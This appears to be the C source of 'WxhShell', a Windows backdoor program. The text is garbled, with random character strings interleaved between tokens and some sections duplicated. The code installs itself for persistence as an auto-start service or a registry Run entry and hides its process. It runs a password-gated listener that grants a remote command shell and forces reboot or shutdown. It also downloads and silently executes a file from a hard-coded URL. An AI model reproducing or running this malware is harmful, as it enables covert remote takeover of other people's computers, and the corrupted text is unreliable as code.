yvyp w}`TJijl static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; uq~Z static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <EHgPlQn j-% vLL/ HANDLE hProcess; (#t"u`_Ee PROCESS_BASIC_INFORMATION pbi; 2A5R3x=\ -%5O:n HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); W>*9T? if(NULL == hInst ) return 0; h:J0d~u B]""%&! O g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); f7mN,_Lt g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =[7[F)I~O NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); S*5hO) C tcm?qro) if (!NtQueryInformationProcess) return 0; W'B=H1 pel{ ;r hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3kc.U if(!hProcess) return 0; Uzx,aYo X PGE|){
< if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; G1vg2'A Xqz\%&G CloseHandle(hProcess); AxsTB9/ )C@O7m*.4 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); d;<gwCc if(hProcess==NULL) return 0; jIzkI)WC| vzr?#FG HMODULE hMod; u@ "nVHgMJ char procName[255]; z;#DX15Rj unsigned long cbNeeded; h.~:UR* T@S\:P if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9}=]oX!+V q$<M2 CloseHandle(hProcess); 08+cNT OIqisQ7ZB if(strstr(procName,"services")) return 1; // 以服务启动 >Z\{P8@k0 hhqSfafUX return 0; // 注册表启动 x$6`k } vZ
rE9C } w,,QXJe{Z_ // 主模块 +i@r-OL int StartWxhshell(LPSTR lpCmdLine) _N-.=86* { U@6bH@v5 SOCKET wsl; S m%\,/3 BOOL val=TRUE; g}vOp3^ int port=0; 4F-r }Fj3 struct sockaddr_in door; `ZC{<eVJ}= n{b(~eL? if(wscfg.ws_autoins) Install(); @jKiE%OP w[WyT`6h! port=atoi(lpCmdLine); {Xc^-A[~ V[w Y;wj if(port<=0) port=wscfg.ws_port; IQ5H`o?[B
s y ]k WSADATA data; P$a `8~w if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; H(JgqbFB* tfSY(cXg'T if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; zm&D#) setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); j/oM^IY door.sin_family = AF_INET; e]1&f.K door.sin_addr.s_addr = inet_addr("127.0.0.1"); )YKnFSm door.sin_port = htons(port); TIs~?wb$ 3!&PI if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /uh?F closesocket(wsl); ']bpsn return 1; l@h|os } N FVr$?P @y|ZXPC# if(listen(wsl,2) == INVALID_SOCKET) { z
?3G` closesocket(wsl); 2/T4.[`t return 1; vM.Y/,7S } jo7`DDb Wxhshell(wsl); J'Z!`R| WSACleanup(); 3? R56$-+ P0Q]Ds| return 0; <l:c O$ m #:~MtV
} ]uikE2nn 3@t&5UjwQ // 以NT服务方式启动 WN5`zD$ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) i;CVgdQ8 { y1oQ4|KSI DWORD status = 0; L.E6~Rv DWORD specificError = 0xfffffff; y7x&/2 H*gX90{!2 serviceStatus.dwServiceType = SERVICE_WIN32; |8|_^` serviceStatus.dwCurrentState = SERVICE_START_PENDING; _3;vir%) serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; dN8@ 0AMSf serviceStatus.dwWin32ExitCode = 0; Q^B !^_M serviceStatus.dwServiceSpecificExitCode = 0; fcim4dfP serviceStatus.dwCheckPoint = 0;
MeP,8,n' serviceStatus.dwWaitHint = 0; ]]EOCGZ" T3JM8 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); C:?mOM#_ if (hServiceStatusHandle==0) return; AjW5H* }[$qn| status = GetLastError(); ; qQ* p if (status!=NO_ERROR) e
hgUp = { "f1`6cx6 serviceStatus.dwCurrentState = SERVICE_STOPPED; c=^A3[AM serviceStatus.dwCheckPoint = 0; _#SCjFz serviceStatus.dwWaitHint = 0; ^L,Uz:[J serviceStatus.dwWin32ExitCode = status; wT taj08D serviceStatus.dwServiceSpecificExitCode = specificError; 0bcbH9) 1q SetServiceStatus(hServiceStatusHandle, &serviceStatus);
@_ZE_n return; ^z _m<&r } f3p)Q<H>`( 0tFR.
sS? serviceStatus.dwCurrentState = SERVICE_RUNNING; &nRbI:R serviceStatus.dwCheckPoint = 0; v
J_1VW serviceStatus.dwWaitHint = 0; C{5bG=Sg~ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >U.f`24 } cD6T4 5, j&-{0W // 处理NT服务事件,比如:启动、停止 wH<'*>/ VOID WINAPI NTServiceHandler(DWORD fdwControl) )J"*[[e { t=6[FK switch(fdwControl) ^wtr~D| { fbjT"jSzw case SERVICE_CONTROL_STOP: (H_YYZ3ZX serviceStatus.dwWin32ExitCode = 0; @ uF$m/g serviceStatus.dwCurrentState = SERVICE_STOPPED; l>J>?b=x"[ serviceStatus.dwCheckPoint = 0; ^&Re-{ES] serviceStatus.dwWaitHint = 0; z5UY0>+VdS { HTa]T' SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0&W*U{0F\ } 3lw8%QD> return; qGYru1 case SERVICE_CONTROL_PAUSE: _P:}]5-| serviceStatus.dwCurrentState = SERVICE_PAUSED; p_Yx"nO7 break; vz*'1ugaA case SERVICE_CONTROL_CONTINUE: HXg#iP^tv serviceStatus.dwCurrentState = SERVICE_RUNNING; Or2J break; "L)=Y7Dx case SERVICE_CONTROL_INTERROGATE: k/`WfSM\. break; gWK N C }; Rr!oT?6J? SetServiceStatus(hServiceStatusHandle, &serviceStatus); (pud`@D;[ } rmq^P;At jW<aAd // 标准应用程序主函数 ;"1 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) UEb'b,O_9 { Z4ZR]eD @Q%g#N // 获取操作系统版本 / DC\F5 G OsIsNt=GetOsVer(); {<k}U;uiO GetModuleFileName(NULL,ExeFile,MAX_PATH); 7XDze(O5 .>;}GsN& // 从命令行安装 t)62_nu if(strpbrk(lpCmdLine,"iI")) Install(); <8?jn*$;\ b~L8m4L // 下载执行文件 gT=RJB if(wscfg.ws_downexe) { *qN(_ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *
SHQ[L4{ WinExec(wscfg.ws_filenam,SW_HIDE); |Ox!tvyr } &58TX[# a+_F^ if(!OsIsNt) { }2;{}J // 如果时win9x,隐藏进程并且设置为注册表启动 Ozo)} HideProc(); 2{gd4Kt6. StartWxhshell(lpCmdLine); "?Mf%u1R } j\^u_D else -y1t;yU.L if(StartFromService()) iJsa;|2/ // 以服务方式启动 M)T {6w StartServiceCtrlDispatcher(DispatchTable); <zdo%~ba else J]=2] oI2 // 普通方式启动 zr1,A#BV StartWxhshell(lpCmdLine); :
~R:[T2P ==W`qC4n?n return 0; \NN5'DBx } Ts~)0 wsg u# as| |:{H4 UN"U#Si) =========================================== .}6Mj]7?i R8K?!Z Wt8=j1> OlJkyL8| F#az& -?K?P=B;X " N`Q[OFe 61}hB>TT: #include <stdio.h> W2CQk #include <string.h> faJ>,^V# #include <windows.h> k"V@9q;* #include <winsock2.h> F]"Hs> #include <winsvc.h> z#|#Cq`VG #include <urlmon.h> *z{.9z` {q}#
Sq #pragma comment (lib, "Ws2_32.lib") .!&S{;Vv?W #pragma comment (lib, "urlmon.lib") + mqz)-x XM"{" #define MAX_USER 100 // 最大客户端连接数 1sHaG #define BUF_SOCK 200 // sock buffer '+Gy)@c #define KEY_BUFF 255 // 输入 buffer EEJsNF =%Yw;%0)Y #define REBOOT 0 // 重启 \;%DDw #define SHUTDOWN 1 // 关机 YV 5kzq !_|rVg. #define DEF_PORT 5000 // 监听端口 U'8ub(:& DwL4?!E #define REG_LEN 16 // 注册表键长度 f/VrenZ_ #define SVC_LEN 80 // NT服务名长度 mAFVjSa2 !83N.
gN // 从dll定义API Q;3v ]h_ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); NP {O typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Js7D>GWP! typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6a=Y_fma typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); tl:+wp7P` %j[DG_ // wxhshell配置信息 .$k2.-k struct WSCFG { oiS>:de%tc int ws_port; // 监听端口 vX'@we7Q{ char ws_passstr[REG_LEN]; // 口令 SuHv{u45 int ws_autoins; // 安装标记, 1=yes 0=no xTJ-v/t3< char ws_regname[REG_LEN]; // 注册表键名 $)5-}NJf' char ws_svcname[REG_LEN]; // 服务名 U;_b4S: char ws_svcdisp[SVC_LEN]; // 服务显示名 eqL~h1^Co char ws_svcdesc[SVC_LEN]; // 服务描述信息 9_6.%qj& char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ly{Q>MBM int ws_downexe; // 下载执行标记, 1=yes 0=no t!g9,xG<X char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?rD`'B char ws_filenam[SVC_LEN]; // 下载后保存的文件名 PKx ewd
,a$?KX
}; y,*>+xk, 4l2xhx // default Wxhshell configuration u
I \zDR struct WSCFG wscfg={DEF_PORT, JVORz-uBs "xuhuanlingzhe", S!<1CFh 1, Au6*hv3: "Wxhshell", eDm~B(G$ "Wxhshell", q]\bJV^/U "WxhShell Service", D{](5?$`| "Wrsky Windows CmdShell Service", $hkMJ),T~ "Please Input Your Password: ", "\'g2|A 1, b,U3b})( "http://www.wrsky.com/wxhshell.exe", ~9:ILCfX "Wxhshell.exe" ;9{x"" }; 0RLyAC| Dm=Em-ST6 // 消息定义模块 {ZS-]|Kx char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; uF!3a$4] char *msg_ws_prompt="\n\r? for help\n\r#>"; +G!N@O char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; R|%R-J] char *msg_ws_ext="\n\rExit."; idC4yH42 char *msg_ws_end="\n\rQuit."; UH<nc;.B char *msg_ws_boot="\n\rReboot..."; 3sk$B%a>Z char *msg_ws_poff="\n\rShutdown..."; m\h/D7zg char *msg_ws_down="\n\rSave to "; OAc*W<Q0 _l&`*
2d char *msg_ws_err="\n\rErr!"; pr|P#mc"J char *msg_ws_ok="\n\rOK!"; 3&D;V;ON}_ EBY=ccGE{ char ExeFile[MAX_PATH]; <"uT=]wZ= int nUser = 0; qIwI]ub~ HANDLE handles[MAX_USER]; ^KU:5Bn int OsIsNt; |\
1?CYx ,KlTitJl\+ SERVICE_STATUS serviceStatus; Tr1#=&N0 SERVICE_STATUS_HANDLE hServiceStatusHandle; JD^&d~n_
Wt&tu2 // 函数声明 .(Gq9m[~8H int Install(void); T,72I int Uninstall(void); PMJe6*(x/ int DownloadFile(char *sURL, SOCKET wsh); f:k3j}& int Boot(int flag); iQczvn)"m void HideProc(void); APT'2-I_ int GetOsVer(void); um@RaU int Wxhshell(SOCKET wsl); Mj&f7IUO void TalkWithClient(void *cs); H!Y`?Rc int CmdShell(SOCKET sock); v/]Bo[a int StartFromService(void); BJ3st int StartWxhshell(LPSTR lpCmdLine); -{>Nrx| >Au]S` VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6&=xu|M<x= VOID WINAPI NTServiceHandler( DWORD fdwControl ); P5ii3a?R 4q)eNcs // 数据结构和表定义 0px@3/ SERVICE_TABLE_ENTRY DispatchTable[] = ;l_%;O5 { Q)}sX6TB {wscfg.ws_svcname, NTServiceMain}, 4uv'l3 {NULL, NULL} qoBm!|q }; w$H=GF?" 22L#\qVkl // 自我安装 tvptawA. int Install(void) >2gemTy { s>
JmLtT char svExeFile[MAX_PATH]; *-bR~ HKEY key; 9hI4',(rE strcpy(svExeFile,ExeFile); g2 uc+p raGov` // 如果是win9x系统,修改注册表设为自启动 "k\W2,q[ if(!OsIsNt) { v709#/cR if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hq/k}Y RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >Qc0g(w RegCloseKey(key); >?yaG= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -IJt( X| RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qFmvc RegCloseKey(key); u >H^bCXI return 0; j_SRCm~: } m~\BkE/[l } #rzq9}9tB } p^+k:E>U else { no+{9Uf FsZF>vaV // 如果是NT以上系统,安装为系统服务 /ocdAW`0 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6}2vn5 E// if (schSCManager!=0) 3a9Oj'd1M { ~=P&wBnJ SC_HANDLE schService = CreateService 5<Cu-X ( $lci{D32, schSCManager, [i.2lt#] wscfg.ws_svcname, b&p*IyJR wscfg.ws_svcdisp, wFpt#_fS SERVICE_ALL_ACCESS, $k*E^~qT SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [#n~ L6 SERVICE_AUTO_START, ]*U\ gm% SERVICE_ERROR_NORMAL, It!%/Y5 svExeFile, {hK$6bD3^ NULL, |)i-c`x NULL, ?stx3sZ NULL, bAt%^pc=y NULL, YEAiL C+q NULL {FraM,w: ); gIep6nq1`| if (schService!=0) O9oVx4= { $I~=t{;"XV CloseServiceHandle(schService); !)ey~Suh CloseServiceHandle(schSCManager); Lie\3W strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); z}yntY]n strcat(svExeFile,wscfg.ws_svcname); <6U{I ' if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { m C_v!nL. RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); j"HB[N RegCloseKey(key); Ps7( 4% return 0; \TkBV?W } f8_5.vlw } vLJ<_&6 CloseServiceHandle(schSCManager); >Be PE(k } dgE|*1/0 } k
uU,7<o R*/%+ return 1; /A[AHJ<[? } $}2m%$vJO CT3wd?)z` // 自我卸载 .VuZ= int Uninstall(void) lMB^/-Y { b\"JXfw HKEY key; G+ Y`65 5W>i'6* if(!OsIsNt) { jY$Bns&.w if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :e ?qm7 cB RegDeleteValue(key,wscfg.ws_regname); 5G'X\iR RegCloseKey(key); p82&X+v/p if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7&/iuP$. RegDeleteValue(key,wscfg.ws_regname); ZGSb&!Ke RegCloseKey(key); 0vQ@n7 return 0; @fRB0m"3 } Nj*J~&6G } @G^]kDFM{ } B-|:l7
else { E@hvO% '{QbjG%<P SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); }N:0%Gk[; if (schSCManager!=0) |L.QIr,jCC { 66fvS}x SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5'?K(Jdmp if (schService!=0) ]Hc`<P
{ :R{Xd{? if(DeleteService(schService)!=0) { %L:e~* CloseServiceHandle(schService); X2(TuR*t CloseServiceHandle(schSCManager); jAfUz7@ return 0; xV}E3Yj2# } @ T'!;) CloseServiceHandle(schService); Z<;<!+, } lV]hjt-L
2 CloseServiceHandle(schSCManager); L10Vq}W" } A/lxXy}D } P7&a~N$T6W 5Z]`n return 1; ~#h@.yW^JN } aU<0<Dx -1Yt3M& // 从指定url下载文件 25XD fi75 int DownloadFile(char *sURL, SOCKET wsh) ,6~c0]/ { |+mhYq|` HRESULT hr; zC(DigN char seps[]= "/"; O`g44LW2n char *token; =Jg5J5 char *file; ]QJLES char myURL[MAX_PATH]; l"*qj#FD char myFILE[MAX_PATH]; m@;X%wf<U Y
6K<e:Y strcpy(myURL,sURL); _FeLSk. token=strtok(myURL,seps); Q6Vy} while(token!=NULL) ) 2wof( { UtIwrR[ file=token; 1u:OzyJy token=strtok(NULL,seps); br.jj } 1 9$ufod cR 4xy26s GetCurrentDirectory(MAX_PATH,myFILE); 4Smno%jq strcat(myFILE, "\\"); KRd.Ubs - strcat(myFILE, file); i*:lZ eU61 send(wsh,myFILE,strlen(myFILE),0); W#$ pt>h) send(wsh,"...",3,0); 1`Cr1pH hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
UO5^4 if(hr==S_OK) E}-Y@( [ return 0; 36`aG Y else &[`p qX return 1; bmr.EB/ 9w[7X"#n } {xi$'r 0R\lm<& // 系统电源模块 %a&Yt int Boot(int flag) uhSRl~tn { [?r`8K2!, HANDLE hToken; w6+X{ TOKEN_PRIVILEGES tkp; +yiGZV/X o/@.*Rj>Bg if(OsIsNt) { eLJW OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
]hpocr LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @\e2Q&O tkp.PrivilegeCount = 1; 0V`s 3,k tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &, hhH_W AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); tH,}_Bp if(flag==REBOOT) { zGHP{a1O7 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) KFCrJ) return 0; p 2It/O } dqwAQ-x else { ?DzKqsS' if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0(VAmb%{ return 0; fWhw I+ } wASgdGoy } 6QkdH7Qf= else { RJYuyB if(flag==REBOOT) { }]$%aMxy T if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `*mctjSN return 0; *kY\,r&!P } ;XNe:g.CR else { RMUR@o5N if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) L}UJ`U return 0; Qu,W3d } |6'(yn } 8u
Tq0d6( /k qW return 1; /{vv n } #|k;nFJ c?A(C#~
z // win9x进程隐藏模块 j9)P3=s void HideProc(void) ivYHq#b59 { 3TVp
oB` 8!2NZOZOS HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); MlaViw if ( hKernel != NULL ) 3B!lE(r%J { 92!1I$zi pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); A;7p ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); uCO-f<b FreeLibrary(hKernel); [y-0w.V=oE } zs|R#?a= 649{\;*4 return; 1DVu`<OXcH } >a7OE=K by!1L1[JTt // 获取操作系统版本 d
4w+5H"u int GetOsVer(void) EvSo|}JA[ { K>iM6Uv OSVERSIONINFO winfo; &oI;^| winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); RnC96"";R. GetVersionEx(&winfo); -x)Oo` if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2Z K:S+c return 1; Gx/sJ( else T9w;4XF return 0; PDQC^2Z } "#1KO1@G UJ0fYTeuI // 客户端句柄模块 (3a]#`Q int Wxhshell(SOCKET wsl) C#{s[l \] { #^%HJp^ SOCKET wsh; ?#~3%$> struct sockaddr_in client; x&}pM}ea DWORD myID; ln4gkm<]t uc;1{[5`1q while(nUser<MAX_USER) DP{kin"4I { |R[@u=7s int nSize=sizeof(client); q)0?aL wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "Kky|(EQ$$ if(wsh==INVALID_SOCKET) return 1; 7|Z=#3INw !qGER. handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .m%/JquMFM if(handles[nUser]==0) (ndXz closesocket(wsh); OBrbWXp@ else `! ~~Wf' nUser++; FvpaU\D } .axJ '*~W WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); NqyKR&; :yg:sU return 0; Nl"Xl?y} } '"u>;Bq .quui\I3 // 关闭 socket 7G6XK void CloseIt(SOCKET wsh) Jv_KZDOdk { 2stBW5v3 closesocket(wsh); `| nC r nUser--; U~9Y9qzy, ExitThread(0); g-G;8x'n } aC$-riP,?' kpF")0qr // 客户端请求句柄 a^:on?:9 void TalkWithClient(void *cs) Ek' ~i { bogw /)1 %{M_\Ae# SOCKET wsh=(SOCKET)cs; ^eF%4DUC; char pwd[SVC_LEN]; $y%X#:eLJ char cmd[KEY_BUFF]; Vo1,{"k char chr[1]; RP!!6A6: int i,j; k OYF]^uJ <4lR while (nUser < MAX_USER) { FKYPkFB 0)<\jo1 F if(wscfg.ws_passstr) { 1P8XVI' if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |l \! //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5(9SIj^O //ZeroMemory(pwd,KEY_BUFF); qKt*<KGeY i=0; U%.%:'eV= while(i<SVC_LEN) { h=?V)WSM rE->z // 设置超时 ]o!rK< fd_set FdRead; XK*55W&og struct timeval TimeOut; o7:~C] FD_ZERO(&FdRead); xi+bBqg<.K FD_SET(wsh,&FdRead); X283 . ? TimeOut.tv_sec=8; )Cas0~ RM TimeOut.tv_usec=0; B=ckRWq int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); cd&^ vQL8 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); u& 4i=K'x8 4n9".UHh if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Fx@ovI- 5 pwd=chr[0]; g4eEkG`XTS if(chr[0]==0xd || chr[0]==0xa) { ]VKM3[ pwd=0; mB\)Q J.% break; >Bw<THx } %yyvB5Y^ i++; o"kVA;5<G } 0 _n
Pq 54lU~ " // 如果是非法用户,关闭 socket )a7nr<)aU if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); XBr-UjQ } @V\u<n *\-$.w)k send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); thU9s%,
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'VMov Za110oF while(1) { ]NEr]sc-"F =~D QX\ ZeroMemory(cmd,KEY_BUFF); 21T#NYfew .S_7R/2(? // 自动支持客户端 telnet标准 H1t`fyri2 j=0; @%^JB while(j<KEY_BUFF) { IgmCZ?l&0 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x]Pp|rHj cmd[j]=chr[0]; xCQLfXK7 if(chr[0]==0xa || chr[0]==0xd) { w=QlQ\ cmd[j]=0; k4E2OyCFoJ break; f0|wN\ } %&5PZmnW j++; mEZHrr J } j&N {j_M $eq*@5B // 下载文件 3a\De(; if(strstr(cmd,"http://")) { zk;'`@7 send(wsh,msg_ws_down,strlen(msg_ws_down),0);
Nd h if(DownloadFile(cmd,wsh)) X
T<SR] send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5%jy7)8C else ^$AJV%3wI send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W9G1wU } nZX`y
-AZ else { #z5$_z?_ ,Dy9-o switch(cmd[0]) { ,@]*Xgt= 0t?g! // 帮助 X@Bg_9\i case '?': { 0O!A8FA0 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); UlMc8 z break; ]Om;bmwt } '!"rE1e // 安装 MAcjWb~f case 'i': { 4g)$(5jI} if(Install()) $YiG0GK<" send(wsh,msg_ws_err,strlen(msg_ws_err),0); -7IRlP& else r`Bm"xI send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yTR5*{?j break; fP/;t61Z } 'x,6t66*"l // 卸载 &e3pmHp' case 'r': { +TC##}Zmb if(Uninstall()) cz1 m05E send(wsh,msg_ws_err,strlen(msg_ws_err),0); "9#hk3*GqX else `Ip``I#A send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "#8I &xZK break; xQ!
Va } q\/xx`L // 显示 wxhshell 所在路径 TPA*z9n+B case 'p': { s_P[lbHt. char svExeFile[MAX_PATH]; ~cf)wrP strcpy(svExeFile,"\n\r"); Ie}7#>S strcat(svExeFile,ExeFile); uBw[|,yn2* send(wsh,svExeFile,strlen(svExeFile),0); GA"vJFQ break; }Xb|Ur43 } ? CU; // 重启 2S//5@~_m case 'b': { XCT3:db send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *rVI[kL if(Boot(REBOOT))
&MBm1T|Y send(wsh,msg_ws_err,strlen(msg_ws_err),0); P6)d#M else { y*E{X closesocket(wsh); LhSXz>AX ExitThread(0); Y=@iD\u
} >#y1(\e break; Of#"nu } \[
W`hhJ // 关机 Ym#io] case 'd': { AMN`bgxW send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ypNeTR$4 if(Boot(SHUTDOWN)) y\:,.cZ+TQ send(wsh,msg_ws_err,strlen(msg_ws_err),0); .*?)L3n+t else { E)]emeGd closesocket(wsh); x[R?hS,0t ExitThread(0); *f SX3Dk } Mo]iVj8~ break; O O-Obg^ } oJZ0{^ // 获取shell y2PxC. - case 's': { eGUe#(I / CmdShell(wsh); @h5 Q?I closesocket(wsh); {JM3drnw ExitThread(0); ltHuN;C\ break; (kx>\FIK* } .:/X~{ // 退出 bBQHxH}vi case 'x': { #+^l3hMK send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); G
}M! CloseIt(wsh); eTt{wn;6 break; hP/uS%X } nZ`=Up p) // 离开 {h;i x case 'q': { 8g/r8u~ send(wsh,msg_ws_end,strlen(msg_ws_end),0); z]sQ3"cmX closesocket(wsh); M+4S >Sjw WSACleanup(); r<*Y1;7H' exit(1); Ds\f?\Em break; Lya?b } ^1ks`1 } *}LQZFrnX } ~'):1}KN] 7.C]ZcU // 提示信息 UL" <V if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5JZZvc$au } n4
Y
]v } i{PX= #elaz8 5 return; bre6SP@ } ^N~Jm&I SHCVjI6 // shell模块句柄 FRTvo int CmdShell(SOCKET sock) gOk^("@ { a[gN+DX%L STARTUPINFO si; BCHI@a ZeroMemory(&si,sizeof(si)); EtB56FU\ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,I[A~ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; i4
tW8Il PROCESS_INFORMATION ProcessInfo; m$$98N char cmdline[]="cmd"; 3K_!:[ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ..^,* return 0; W&^2Fb } ?/ s=E+ yM34G S=,J // 自身启动模式 u"a$/ int StartFromService(void) Q_a%$a.rV { *-9b!>5eD typedef struct YCQ+9 { O4 Y; DWORD ExitStatus; AwL;-|X DWORD PebBaseAddress; 6UJBE<ntj DWORD AffinityMask; 0b}lwo,|\ DWORD BasePriority; ?)5M3lV3k ULONG UniqueProcessId; >:P3j<xTv ULONG InheritedFromUniqueProcessId; ({x<!5XL } PROCESS_BASIC_INFORMATION; UJF
}Ye %x7l`.)N PROCNTQSIP NtQueryInformationProcess; N:/$N@"Ge #$%gs] static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Sq==)$G static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -/&6}lD B[MZPv) HANDLE hProcess; *)d|:q3 PROCESS_BASIC_INFORMATION pbi; Onoi6^G f1>^kl3@P HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); am05>c9 if(NULL == hInst ) return 0; ;7<a0HZ5! +=@Z5eu g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;h3*MR g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); HwSPOII|8K NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 49Ue2=PP# @;,O V&XYn if (!NtQueryInformationProcess) return 0; (A&@
